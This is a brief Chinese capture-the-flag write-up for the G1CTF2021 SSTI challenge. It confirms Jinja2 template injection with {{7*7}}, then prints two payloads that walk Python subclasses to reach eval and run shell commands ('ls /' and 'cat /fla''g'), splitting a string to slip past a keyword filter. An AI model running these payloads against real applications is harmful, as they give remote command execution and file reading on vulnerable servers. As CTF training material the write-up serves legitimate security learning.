[G1CTF2021]SSTI – 作者:无名草talent

43次阅读
没有评论

访问网址显示内容如下:

[G1CTF2021]SSTI - 作者:无名草talent

输入{{7*7}}发现回显了49

[G1CTF2021]SSTI - 作者:无名草talent

模板注入 。

模板注入解析:   https://xz.aliyun.com/t/7746

这里就不多解释了直接上payload:

{% for c in [].__class__.__base__.__subclasses__() %}
{%if%20c.__name__=='catch_warnings'%27'%}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{%endif%}
{% endfor %}

[G1CTF2021]SSTI - 作者:无名草talent

测试可知过滤flag,命令执行绕过得FLAG:

{% for c in [].__class__.__base__.__subclasses__() %}
{%if%20c.__name__=='catch_warnings'%27'%}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /fla''g').read()")}}
{%endif%}
{% endfor %}

来源:freebuf.com 2021-05-30 20:23:19 by: 无名草talent

正文完
 0
评论(没有评论)